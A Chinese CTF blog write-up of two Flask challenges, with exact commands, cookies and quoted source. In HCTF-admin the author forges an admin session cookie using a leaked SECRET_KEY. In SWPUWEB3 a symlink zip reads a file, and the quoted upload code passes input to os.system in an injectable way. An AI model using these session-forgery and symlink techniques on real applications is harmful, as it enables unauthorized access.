HCTF-admin

用session伪造的方法又做了一遍.flask对数据进行签名,但读取时并没有加密,所以session的内容可以全部在客户端读取到,题目有源码,在源码的config.py中有:SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123',secret key为ckj123,有了secret key我们就可以对session进行解密和伪造.首先我们先将session解密.工具:https://github.com/noraj/flask-session-cookie-manager.

命令及结果:

E:\flask-session-cookie>python3 flask_session_cookie_manager3.py decode -c ".eJw9kEGLwjAQhf_KkrOHNtY9CB6EdIPCTKmkLZOLuFptksaFqmyN-N83uOD5Dd987z3Y9ji0l47Nr8OtnbCtObD5g318szkju-kLtUq1rQ3KtUEPv2jXHaplQpwSUl0HzZcBn48UKCULWbzhwGtLft1ru-KgIkN0phDLWSHKFESVUYM9NjQWMrJkxUnVDptqRHEaC1EFLfMMJCTIV3cMLtOq7rXaJ2DLhEI5RRl_NdpoARx9PiOfL9hzwvaX4bi9_rj2_K6AMp-SdXcI-1FHXa0ooK8Chc5pFWWti9roQKIBWd5JaQvl4oUzfndq36SaHz43y__kvPMxYH17c2zCbpd2eM3G0oQ9_wAWbGwc.XpUenQ.uZL4c9FPpNbReHdFRUctKF99OFg" -s "ckj123"

{'_fresh': True, '_id': b'b4e925f5b4bb6c062a504cf4a8a1ab2a1c65b386c63ecbbef2614e88b809845058ace5f18ba4e6a5d5e1481853da80c47b2798e5ee74244c474f5afbd366a9ba', 'csrf_token': b'4a7b92371e8ae636e3c8de3f295b3d0cb0d2a6c1', 'image': b'WgzD', 'name': 'leuk', 'user_id': '10'}

index.html中含有信息:{% if current_user.is_authenticated and session['name'] == 'admin' %},于是将解密出来的session的name的值改为admin,再利用刚才拿来解密的工具将修改过后的session进行加密.

命令及结果:

E:\flask-session-cookie>python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'b4e925f5b4bb6c062a504cf4a8a1ab2a1c65b386c63ecbbef2614e88b809845058ace5f18ba4e6a5d5e1481853da80c47b2798e5ee74244c474f5afbd366a9ba', 'csrf_token': b'4a7b92371e8ae636e3c8de3f295b3d0cb0d2a6c1', 'image': b'WgzD', 'name': 'admin', 'user_id': '10'}"

.eJw9kEGLwjAQhf_KkrOHNtY9CB6EdIPCTKmkLZOLuFptksaFqmyN-N83uOD5Dd987z3Y9ji0l47Nr8OtnbCtObD5g318szkju-kLtUq1rQ3KtUEPv2jXHaplQpwSUl0HzZcBn48UKCULWbzhwGtLft1ru-KgIkN0phDLWSHKFESVUYM9NjQWMrJkxUnVDptqRHEaC1EFLfMMJCTIV3cMLtOq7rXaJ2DLhEI5RRl_NdpoARx9PiOfL9hzwvaX4bi9_rj2_K6AMp-SdXcI-1FHXa0ooK8Chc5pFWWti9roQKIBWd5JaQvl4oUzfndq36SaHz43y__kvPMxYLuDN2c2YbdLO7x2Y2nCnn-Dnmx0.XpUf6g.pjY-NNrpvDH3TfCCjUVHSGh5nao

修改浏览器cookie,获得flag.

SWPUWEB3

输入任意账号密码即可登录.进入后是个文件上传页面.选择文件上传时告诉你permission denied!f12查看,发现注释中的404 not found提示,在 flask 中,可以使⽤用 app.errorhandler()装饰器器来注册错误处理理函数,参数是 HTTP 错误状态码或者 特定的异常类,猜测404中藏了信息.

访问不存在的页面,查看headers,发现Swpuctf_csrf_token,将base64解码,得到SECRET_KEY:keyqqqwwweee!@#$%^&*.headers中的cookie告诉了我们session的值,结合上传时的permission denied,考虑session伪造.解密后,将id改为1再加密,将cookie改为加密后的值,刷新后就可以进行文件上传了.f12发现有源码:

@app.route('/upload',methods=['GET','POST'])
def upload():
    if session['id'] != b'1':
        return render_template_string(temp)
    if request.method=='POST':
        m = hashlib.md5()
        name = session['password']
        name = name+'qweqweqwe'
        name = name.encode(encoding='utf-8')
        m.update(name)
        md5_one= m.hexdigest()
        n = hashlib.md5()
        ip = request.remote_addr
        ip = ip.encode(encoding='utf-8')
        n.update(ip)
        md5_ip = n.hexdigest()
        f=request.files['file']
        basepath=os.path.dirname(os.path.realpath(__file__))
        path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
        path_base = basepath+'/upload/'+md5_ip+'/'
        filename = f.filename
        pathname = path+filename
        if "zip" != filename.split('.')[-1]:
            return 'zip only allowed'
        if not os.path.exists(path_base):
            try:
                os.makedirs(path_base)
            except Exception as e:
                return 'error'
        if not os.path.exists(path):
            try:
                os.makedirs(path)
            except Exception as e:
                return 'error'
        if not os.path.exists(pathname):
            try:
                f.save(pathname)
            except Exception as e:
                return 'error'
        try:
            cmd = "unzip -n -d "+path+" "+ pathname
            if cmd.find('|') != -1 or cmd.find(';') != -1:
        waf()
                return 'error'
            os.system(cmd)
        except Exception as e:
            return 'error'
        unzip_file = zipfile.ZipFile(pathname,'r')
        unzip_filename = unzip_file.namelist()[0]
        if session['is_login'] != True:
            return 'not login'
        try:
            if unzip_filename.find('/') != -1:
                shutil.rmtree(path_base)
                os.mkdir(path_base)
                return 'error'
            image = open(path+unzip_filename, "rb").read()
            resp = make_response(image)
            resp.headers['Content-Type'] = 'image/png'
            return resp
        except Exception as e:
            shutil.rmtree(path_base)
            os.mkdir(path_base)
            return 'error'
    return render_template('upload.html')


@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"

文件上传提示只能上传zip,之后会对上传的zip进行解压读取其中的内容,结合showflag函数中的内容得知flag所在目录,尝试利用软链接.但由于不知道flask工作目录,所以利用/proc/self/cwd/flag/flag.jpg来访问flag.jpg.(在Linux中,/proc/self/cwd会指向进程的当前目录.)

命令:

ln -s /proc/self/cwd/flag/flag.jpg leuk
zip -ry leuk.zip leuk

之后上传leuk.zip,f12获得flag的base64编码,解码得flag.

(凌晨两点整完的这题,太晚了就睡了……)

还有命令注入的做法和另一种软链接方式->https://www.jianshu.com/p/71bc9bdd9882

Categories:

Tags:

No responses yet

发表评论

电子邮件地址不会被公开。 必填项已用*标注

闽ICP备19027300号